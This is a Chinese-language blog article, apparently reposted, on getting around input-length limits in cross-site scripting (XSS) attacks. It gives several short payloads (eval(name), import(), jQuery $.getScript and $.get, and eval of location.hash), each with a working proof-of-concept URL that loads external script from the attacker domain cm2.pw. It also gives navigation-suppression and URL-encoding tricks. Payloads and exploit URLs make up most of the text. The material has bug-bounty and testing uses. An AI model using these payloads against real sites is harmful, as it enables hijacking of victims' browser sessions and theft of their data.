XSS有长度限制?试试这几招

栏目: 编程工具 · 发布时间: 5年前

内容简介:在某些情况下,你可以执行JavaScript代码,但是却只能使用alert,因为它对字符输入长度做了限制。我最近看了一篇hackerone的报告,情况完全相同,所以我决定写这篇文章。报告作者能够成功执行任意JavaScript脚本,不过他的payload有些复杂,而且需要用户交互,光凭这一点,就极大的降低了漏洞的严重性,而且毫无疑问,漏洞成效也会大打折扣。我个人认为,更好的POC是从攻击者控制的域中加载外部JavaScript脚本。本文列出了几种调用外部JavaScript脚本的方法,并且使用尽可能少的字

在某些情况下,你可以执行JavaScript代码,但是却只能使用alert,因为它对字符输入长度做了限制。我最近看了一篇hackerone的报告,情况完全相同,所以我决定写这篇文章。报告作者能够成功执行任意JavaScript脚本,不过他的payload有些复杂,而且需要用户交互,光凭这一点,就极大的降低了漏洞的严重性,而且毫无疑问,漏洞成效也会大打折扣。

我个人认为,更好的POC是从攻击者控制的域中加载外部JavaScript脚本。本文列出了几种调用外部JavaScript脚本的方法,并且使用尽可能少的字符。

假如我们的payload输出在href属性内,并且限制输入32个字符。

<a href="<INJECTION>">Click</a>

方法一

eval(name)

这可能是我们可以执行任意JavaScript脚本的最短payload。name属性可以传递任何内容,而且可以跨域。这样一来我们就可以利用了,我们现在就可以没有任何限制的执行我们的payload了,除非网页重写了name属性。

POC如下:

·https://attacker.cm2.pw/?xss=<script>name="d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)";open('//victim.cm2.pw/?xss=<a href="javascript:eval(name)">Click</a>','_self')</script>

payload长度:

'javascript:eval(name)'.length==21

方法二

import

这是另外一种用来加载外部JavaScript脚本的最短的payload,不过仅仅适用于基于chromium内核的浏览器。

POC如下:

·https://victim.cm2.pw/?xss=<a href="javascript:import(/\㎠.㎺/)">Click</a>

payload长度:

'javascript:import(/\㎠.㎺/)'.length==24

方法三

$.getScript

这是一个典型的jQuery函数,用来加载外部JavaScript脚本,该脚本在全局环境下获取和执行,跟在script标签里加载一样。不过,这个方法要求漏洞页面加载了jQuery。

POC如下:

·https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-3.3.1.min.js'></script><a href="javascript:$.getScript(/\cm2.pw/)">Click</a>

payload长度:

'javascript:$.getScript(/\㎠.㎺/)'.length==29

方法四

$.get

这是另外一个jQuery函数,它也是可以加载和执行外部JavaScript脚本的,不过,它需要返回的content-type类型设置为text/javascript。其实,这是jQuery3.0.0版本之前的一个漏洞。

POC如下:

·https://victim.cm2.pw/?xss=<script src='https://code.jquery.com/jquery-2.2.4.min.js'></script><a href="javascript:$.get(/\cm2.pw/)">Click</a>

payload长度:

'javascript:$.get(/\㎠.㎺/)'.length==23

方法五

使用现有元素或属性

查找用户部分可控或者完全可控的HTML元素和JavaScript属性是很常见的情况。不过这需要慢慢去找,但在利用长度受限的XSS时也是大有帮助的。例如,大多数采用ajax的应用为了便于导航都会存储hash标志符。但是如果不用来进行导航呢?

如果一个页面存储hash如下:

const hash = document.location.hash;

我们可以利用它来加载外部脚本,像下面这样:

eval("'"+hash)

POC如下:

·https://victim.cm2.pw/?xss=<script>const hash=document.location.hash;</script><a href="javascript:eval(`'`%252bhash)">Click</a>#';d=document;s=d.createElement('script');s.src='//cm2.pw';d.body.appendChild(s)

payload长度:

javascript:eval("'"+hash)`.length==25

除了上面的集中方法外,还有很多其他的方法也可以加载外部的JavaScript脚本。比如下面这几种方法,不过我这里没有例子。

· 其他库

·使用不同的选择器

·使用DOM属性,变形(比如image id)

在某些情况下,点击了JavaScript URI时,Firefox会进行导航。为了防止导航,我们需要引入一个错误。因此,有一个方法就是可以在每个payload结尾添加 ;q 这个东西。添加后,payload就像下面这样:

javascript:eval(name);q

//这样做就可以防止导航,因为q未定义

最后,值得注意的是也可以在JavaScript URL上下文环境中使用URL编码,如下:

<a href="javascript:x='%27,alert(1)//">Click</a>

POC如下:

·https://cm2.pw/?xss = <a href="javascript:x='%2527,alert(1)//">点击</a>


以上所述就是小编给大家介绍的《XSS有长度限制?试试这几招》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Programming Python

Programming Python

Mark Lutz / O'Reilly Media / 2006-8-30 / USD 59.99

Already the industry standard for Python users, "Programming Python" from O'Reilly just got even better. This third edition has been updated to reflect current best practices and the abundance of chan......一起来看看 《Programming Python》 这本书的介绍吧!

HTML 编码/解码
HTML 编码/解码

HTML 编码/解码

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具